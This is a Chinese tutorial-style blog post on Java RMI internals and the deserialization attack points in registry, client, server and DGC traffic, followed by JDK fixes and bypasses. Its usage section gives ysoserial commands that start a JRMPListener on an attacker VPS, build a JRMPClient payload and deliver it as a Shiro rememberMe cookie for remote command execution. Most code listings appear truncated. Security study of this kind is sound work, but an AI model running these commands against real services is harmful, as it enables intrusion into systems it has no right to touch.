说实话我每次看到RMI的流程我都觉得脑袋疼。而且分析完了都不记得分析了个什么鸟。
或许这次会好一点。
RMI远程类调用
RMI的作用就是客户端调用服务端的远程类。
我们开两个项目,一个做客户端,一个做服务端。用jdk8u65
RMIServer
定义一个继承了Remote的接口RemoteInterface
1 | import java.rmi.Remote; |
一个实现该接口的类RemoteImpl,需要继承UnicastRemoteObject
1 | import java.rmi.RemoteException; |
RemoteImpl必须加入一个调用了父类构造函数的构造函数。
这里的无参构造函数实际上会自动向第一行插入一条隐式的
super()
,如下。而不写构造函数是自动生成无参构造函数,不满足调用super(args...);
的要求,所以报错。
1
2
3 >protected RemoteImpl() throws RemoteException {
super();
>}
向外开放服务的RMIServer。需要LocateRegistry.createRegistry(1099),开放注册中心到1099端口。并把类绑定到注册中心。
1 | import java.rmi.AlreadyBoundException; |
RMIClient
需要一个相同的接口RemoteInterface
1 | import java.rmi.Remote; |
使用服务端远程类的,客户端RMIClient
1 | import java.rmi.NotBoundException; |
先开服务端,再开客户端。客户端就能调用到服务端上的方法sayHello
源码分析
移步视频:
https://www.bilibili.com/video/BV1L3411a7ax?p=1&vd_source=732f44595cd3e361ab78ff559f3c5ab5
此处概述+只给利用点和利用方式,因为分析了也记不住。我直接偷偷分析,挂上来我自己都不看。
偷个包浆RMI通信老图
先从服务端开始
服务端
RemoteInterface remoteImpl = new RemoteImpl();
从UnicastServerRef一路跟到了TCPEndpoint.getLocalEndpoint,获取了IP
在UnicastServerRef.exportObject完成了创建远程对象的主要逻辑,前面都是层层封装,没什么好看的。
生成了一个stub并赋值,这是服务端stub
实际上,赋值调用的Util.creatProxy()内部,就是生成了一个代理类。等于说stub就是个代理类,如下
handler来自RemoteObjectInvocationHandler,看到该类满足代理handler的要求,继承了InvocationHandler
还记得动态代理吗,调用代理类的方法会自动走进handler的invoke方法(虽然这里没调用,但是为后面你使用sayHello的时候做了铺垫)
这里RemoteObjectInvocationHandler.invoke就是加了个判断的普通invoke执行方法
下面一堆调用,从ref.exportObject跟到TCPTransport.exportObject。listen()方法开始监听。跟进去看看
从ep中提取了Endpoint(翻译为终端)和端口。ep就是之前TCPEndpoint.getLocalEndpoint生成的。然后调用了newServerSocket
在newServerSocket中,createServerSocket新建了一个Websocket。并且监听端口为0,会调用setDefaultPort获取端口。从前面的调试信息也可以看到,一路过来端口都是默认的0
setDefaultPort内部,获取了所有的本地未开放端口,并异步循环取最后一个端口。就是随机取一个端口啦
从这里开始,port就有值了。
继续运行到UnicastServerRef.exportObject。在get不到值的时候会向map里put键值。
虽然是put进去了,但是只有个类名。方法名还需要跳转到UnicastServerRef$HashToMethod_Maps.computeValue中获取
从接口中循环获取方法名,设为可访问,put进map中
最后我们生成的remoteImpl对象,有LiveRef包含的host和一个随机的端口号,还有装填了方法的hashToMethod_Map。这些都封装在UnicastServerRef的一个对象中。创建了一个代理类stub,但是return时并没有存储,只是写了个逻辑在这。
但是服务端开随机的端口号,客户端怎么知道这个端口号来获取类呢?下一步就是解决这个问题
Registry registry = LocateRegistry.createRegistry(1099);
新建了一个指定端口为1099空的LiveRef对象
在随后的setup函数中,同样的来到UnicastServerRef.exportObject完成代理对象stub的创建。这是注册端stub
注意,这里创建stub时,跟进Util.creatProxy->stubClassExists()。
如果存在remoteClass_Stub类(在这里就是RegistryImpl_Stub类),返回true
可以看到该类是存在的
在creatStub创建了RegistryImpl_Stub类
在这里,stub是RegistryImpl_Stub,而不是我们自定义的RemoteImpl。会走进if (stub instanceof RemoteStub)
接下来是创建skeleton。
获取了类名,为RegistryImpl_Skel并加载。
在java.rmi.registry中能找到这个类
这个类实际就是分发方法的重点类。在RegistryImpl_Skel的dispatch类中,根据case的不同分别调用bind,list,lookup,rebind和unbind。
把Registry的public方法put进了hashToMethod_Map。包括bind,list,lookup,rebind和unbind方法
最后生成的registry对象。包含一个开了1099端口的LiveRef,一个实例化RegistryImpl_Skel的skel,一个装了RegistryImpl方法的hashToMethod_Map
registry.bind("remoteImpl", remoteImpl);
这个代码就很少了,把remoteImpl对象put进一个HashTable
封装在了上一步生成的registry对象
这就解决了客户端访问不了随机端口号的问题。我们现在大致也能猜出客户端发送lookup等请求后,是怎么处理的请求了。
由1099端口开放的注册中心registry对象接收请求,再由skel的dispatch分发给具体的函数。比如看调用的RegistryImpl的lookup函数,都是从bindings获取请求的类。这才获取到我们自定义的remoteImpl
接下来验证一下猜测
客户端
LocateRegistry.getRegistry("127.0.0.1", 1099);
与想象的不同,本以为getRegistry是从网络中序列化的数据获取注册信息。实际上是在本地新建了一个RegistryImpl_Stub类用来代理转发,TCPEndpoint指向127.0.0.1:1099。
(RemoteInterface) registry.lookup("remoteImpl");
这一步因为RegistryImpl_Stub是1.1,而我们这里测试用的是1.8,所以调试进不来。就手动看一下代码
先调用newCall,也就是调试跳转到的UnicastRef.newCall。这个函数和远程TCPEndpoint建立了连接
super.ref.invoke调用的是UnicastRef.invoke。注意这个executeCall(),跟进去,这个函数很重要
executeCall这个函数里,如果case是ExceptionalReturn,那就会进行反序列化,设计初衷是为了反序列化获取异常内容,方便进行调试。
传入恶意类,极大概率报异常走入该case
除了RegistryImpl_Stub.lookup->UnicastRef.invoke->StreamRemoteCall.executeCall->readObject外
RegistryImpl_Stub.bind,list,rebind,unbind都能走到executeCall触发readObject
所以,只要绑定的registry是恶意registry,lookup时返回一个恶意流。客户端就会受到反序列化攻击
lookup从var2获取序列化流进行反序列化后,得到的是个RemoteObjectInvocationHandler代理类
有没有觉得这个代理类很眼熟?正是和服务端new RemoteImpl()
Util.creatProxy的stub一样。
我们反序列化获取了服务端生成的RemoteImpl()代理类对象,后面就能执行对应方法了
remoteImpl.sayHello("RMI")
获取到的remoteImpl是个代理类,调用方法sayHello就跳转到了RemoteObjectInvocationHandler.invoke
跟进到UnicastRef.invoke,这个函数巨TM长,重点看后半段代码
marshalValue是序列化函数,types是参数值,把参数值每位序列化后调用executeCall,然后unmarshalValue反序列化调用返回结果
unmarshalValue中的readObject,也会引起恶意注册端对客户端造成反序列化攻击
readObject的结果就是remoteImpl.sayHello("RMI")
的返回值
总结一下,攻击客户端有两个点
- 获取远程对象代理:RegistryImpl_Stub.lookup->excuteCall 当case为ExceptionalReturn时返回恶意流造成反序列化漏洞
- 调用函数:unmarshalValue反序列化 调用函数(sayHello)返回值
其中lookup、bind等->excuteCall攻击客户端,被称为JRMP
注册端处理客户端registry.lookup("remoteImpl");
客户端调用lookup方法,服务端怎么走到RegistryImpl_Skel.dispatch
的,我就不跟了,懒得跟,看了也没意义。直接看RegistryImpl_Skel.dispatch
处理lookup请求:
其实上文都贴过图了,将var2反序列化,调用lookup,把返回对象序列化
这一步dispatch的var2参数对应了RegistryImpl_Stub.lookup一开始newCall创建的RemoteCall。现在理解为什么各个文章都说RMI实际是客户端stub与服务端skel进行通信了吧
由于注册端处理来自客户端的lookup等请求,都是通过序列化与反序列化,如果客户端RegistryImpl_Stub.lookup传输恶意RemoteCall,则会对注册端造成反序列化攻击
其他几个如bind,unbind等均存在此问题
服务端处理remoteImpl.sayHello("RMI")
跟到UnicastServerRef.dispatch。逐位反序列化types,其实就是我们sayHello("RMI")
的参数RMI。
marshalValue序列化函数调用的结果再传回客户端。与上面我们分析客户端remoteImpl.sayHello("RMI")
相对应
如果客户端调用函数的参数是恶意反序列化类,会对服务端造成反序列化攻击
DGC反序列化
在服务端RemoteInterface remoteImpl = new RemoteImpl();
打上断点,跟进到Transport.exportObject,向ObjectTable写入了target
具体看一下写入的putTarget函数,在put之前执行了DGCImpl的函数
DGCImpl.dgcLog是一个静态变量
访问静态变量之前,类已经执行了静态代码块进行初始化,所以调试先进入静态代码块
静态代码块里创建了DGCImpl()对象,并类似创建注册中心stub一样,不仅创建了一个代理DGCImpl_Stub,还调用setSkeleton。最后向ObjectTable添加了这个DGC的Target
setSkeleton跟进到creatSkeleton,经典的检测有无DGCImpl_Skel,有的话创建对象并返回
这就是为什么执行完DGCImpl.dgclog.isLoggable函数后,ObjectTable就多出了一个DGCImpl_Stub
实际上DGC是用来垃圾回收的,分发DGCImpl_Stub和DGCImpl_Skel的流程和RegistryImpl_Stub与RegistryImpl_Skel的流程相同,调用其中函数与dispatch的流程也相同
看一下DGCImpl_Stub,clean函数同样可以触发UnicastRef.invoke->excuteCall(),客户端会受到攻击
dirty除了可以触发excuteCall,还有反序列化RemoteCall时被攻击
DGCImpl_Skel也一样,注册中心受到来自客户端的反序列化攻击
只要创建远程对象,就会创建DGCImpl,就可能会遭到以上攻击。因此更通用
RMI攻击方式
总结一下可能遭到RMI攻击的方式:
通过excuteCall攻击的方式,称为JRMP。
客户端
- 获取远程对象代理:RegistryImpl_Stub.lookup->excuteCall 当case为ExceptionalReturn时返回恶意流造成反序列化漏洞(JRMP)
- 调用函数:unmarshalValue反序列化 调用函数(sayHello)返回值
调用DGC的clean或者dirty时,会触发excuteCall,受到JRMP攻击。dirty还多一个反序列化远程RemoteCall,也会受到攻击
注册端
RegistryImpl_Skel.dispatch
处理lookup请求。var2反序列化,如果客户端RegistryImpl_Stub.lookup传输恶意RemoteCall,则会对注册端造成反序列化攻击
DGCImpl_Skel,注册中心受到来自客户端的反序列化攻击
服务端
- 如果客户端调用函数的参数是恶意反序列化类,会对服务端造成反序列化攻击
修复
8u121对以上RMI攻击进行了修复
在RegistryImpl加了一个registryFilter函数
只有下列的类才能反序列化
DGCImpl的过滤更加严重,只有以下四种类才能允许
RMI攻击高版本绕过
8u121只是拦截了反序列化的类,而并没有去掉各个readObject的点,导致绕过
registryFilter允许UnicastRef通过。UnicastRef允许JRMP攻击。所以客户端并没有被修复(可以做蜜罐),依旧会受到攻击
接下来一个思路很NB,想办法在服务端自身发起一个客户端请求,那服务端同时也是客户端,受到反序列化攻击(因为服务端和客户端都共享代码)也就是想办法调用UnicastRef.invoke
DGCImpl_Stub每个方法都调用了UnicastRef.invoke
而创建Stub都是通过Util.createProxy
直接抄结论,在DGCClient#EndpointEntry.EndpointEntry()函数创建了dgc stub
DGCClient.lookup调用了DGCClient#EndpointEntry.EndpointEntry()
向上查找用法,跟到ConnectionInputStream.registerRefs,不过需要if(incomingRefTable不为空)
如果满足if,向上找到StreamRemoteCall.releaseInputStream会调用ConnectionInputStream.registerRefs()
DGCImpl_Skel.dispatch处理每个请求(clean、dirty)都会调用releaseInputStream
也就是说if(incomingRefTable不为空),正常调用DGCImpl的clean,dirty就会创建DGCImpl_Stub
下面是怎么满足if(incomingRefTable不为空)
RMI流
LiveRef.read,因为RMI流一定是ConnectionInputStream会走到saveRef。
savaRef会向incomingRefTable put值,就能走进if触发ConnectionInputStream.registerRefs
UnicastRef.readExternal会触发read。readExternal在反序列化中会自动调用
也就是说我们生成一个UnicastRef对象,并写入ref,在反序列化时对ref进行还原,触发read,就能生成DGCImpl_Stub
那怎么调用clean、dirty传入恶意对象进行反序列化攻击呢
在创建完dgc的下面,调用RenewCleanThread
进一步调用makeDirtyCall
触发了dirty
进而JRMP
其他流,如Shiro流
非RMI流直接进else创建dgc了,跟上面利用方式一样
利用
ysoserial
8u121前
由于RegistryImpl_Skel.dispatch
处理lookup、bind等请求,客户端攻击注册中心
客户端通过攻击dgc攻击注册中心
exploit中
payload中,JRMPListener是针对一个反序列化点,RMI开启另一个RMI服务(端口不同),再打RMI,一种二次反序列化。绕过一些RMI限制,但是原来的链子既然都能执行开RMI了,也能RCE了😂,没什么用
8u121后
上文的高版本绕过,RMI流,可攻击注册中心和客户端
exploit中
也是上文的高版本绕过,但是走的非RMI流,利用非RMI流走开RMI服务,用这个payload/JRMPClient开RMI服务,再用exploit对RMI进行攻击。非常常用的二次反序列化链子。
这个payload可以在本机开JRMP监听
Usage:
攻击者先在公网 vps (本机可以用花生壳映射)上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:
1 | java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net" |
然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):
1 | java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser |
再用 shiro 编码脚本对 JRMPClient payload 进行编码:
1 | java -jar shiro-exp.jar encrypt /tmp/jrmp.ser |
将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。
修复
在jdk 8u231中,RMI针对accessCheck进行了修复。但还是可以绕
https://mogwailabs.de/en/blog/2020/02/an-trinhs-rmi-registry-bypass/
1 | package ysoserial.exploit; |
1 | package ysoserial.payloads; |
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "calc" |
再运行ysoserial.exploit.RMIRegistryExploit_bypass_jep_jdk241.java进行攻击
8u241
高于这个版本打不了
比如shiro发不了数组,就能JRMP打